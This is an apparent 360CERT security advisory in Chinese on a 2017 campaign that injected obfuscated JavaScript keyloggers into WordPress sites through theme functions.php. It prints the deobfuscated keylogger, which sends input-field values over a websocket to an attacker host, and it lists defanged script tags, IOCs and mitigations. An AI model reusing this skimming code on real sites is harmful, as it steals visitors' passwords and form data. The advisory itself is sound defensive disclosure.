Wordpress Keylogger事件分析
2017-12-08 18:34

enter image description here

0x00 事件背景

Catalin Cimpanu发现几起针对WordPress站点的攻击,主要通过加载恶意脚本进行键盘记录,挖矿或者挂载广告。并且有证据表明,这种攻击从4月份活跃至今。360CERT对该事件十分关注。

0x01 事件描述

起因是WordPress被注入了一个混淆的js脚本,从主题的function.php文件进行植入。加载的js脚本地址为:

<script type='text/javascript' src='hxxp://cloudflare[.]solutions/ajax/libs/reconnecting-websocket/1.0.0/reconnecting-websocket.js'></script>  
<script type='text/javascript' src='hxxp://cloudflare[.]solutions/ajax/libs/cors/cors.js'></script>

其中reconnecting-websocket.js用作websocket通信,cors.js中包含后门。Cors.js更改前端页面,释放javascript脚本进行输入监听,之后将数据发送给攻击者(wss://cloudflare[.]solutions:8085/)。

enter image description here

enter image description here

0x02攻击脚本分析

enter image description here

用户WordPress首页底部有两个JS,第一个用来做websocket通信。后门核心文件http://cloudflare[.]solutions/ajax/libs/cors/cors.js。其中cors.js有混淆,简单处理后得到攻击脚本:

enter image description here

攻击脚本会首先调用linter(),其中有对linterkey1,linterkey2的解码。

https://cdnjs.cloudflare.com/ajax/libs/linter/linter.js?657[.............................]

中,域名cdnjs.cloudflare.com是不存在的,根据代码逻辑,有用的部分应为?后的内容:

enter image description here

解密出:

enter image description here

function process_event(event) {  
var result = JSON.stringify({key:event.target.value , element: event.target.id});  
socket.send(result);  
}  
var i_fields = document.getElementsByTagName('input');  
for(var i=0; i < i_fields.length; i++) {  
i_fields[i].addEventListener('blur',process_event);  
}

逻辑很好理解,监听blur 事件(输入框失去焦点) 通过websocket发送用户input内容。

enter image description here

最后,窗口加载后执行addyandexmetrix()。该函数是一个类似cnzz,做访问统计的js,具体用法:

https://yandex.com/support/metrica/code/counter-initialize.xml

0x03 攻击影响

查看cloudflare[.]solutions DNS请求记录:

enter image description here

可以看到,在6月份有一个峰值。并且在近期,攻击趋势陡然上升。以下是今天,截至写稿时的请求记录:

enter image description here

可以看到,今天时,该攻击已经激化。

对页面进行检索,发现全球有近五千多站点被感染:

enter image description here

以下受感染的部分域名:

enter image description here

0x04 缓解措施

检查页面源代码中是否有向cloudflare[.]solutions的JS请求,通过这种方法进行自检。

enter image description here

恶意的JS是通过WordPress主题的function.php文件进行植入。请立即删除文件中,页面渲染恶意JS的部分。此时,密码很有可能已经被偷取,请及时更改密码。

0x05 IOCs

资源请求:

hxxp://cloudflare[.]solutions/ajax/libs/reconnecting-websocket/1.0.0/reconnecting-websocket.js

hxxp://cloudflare[.]solutions/ajax/libs/cors/cors.js

数据接收:

wss://cloudflare[.]solutions:8085/

0x06 时间线

2017年12月7日 Catalin Cimpanu事件披露

2017年12月8日 360CERT及时跟进,发布预警

0x07 参考

https://www.bleepingcomputer.com/news/security/keylogger-found-on-nearly-5-500-infected-wordpress-sites/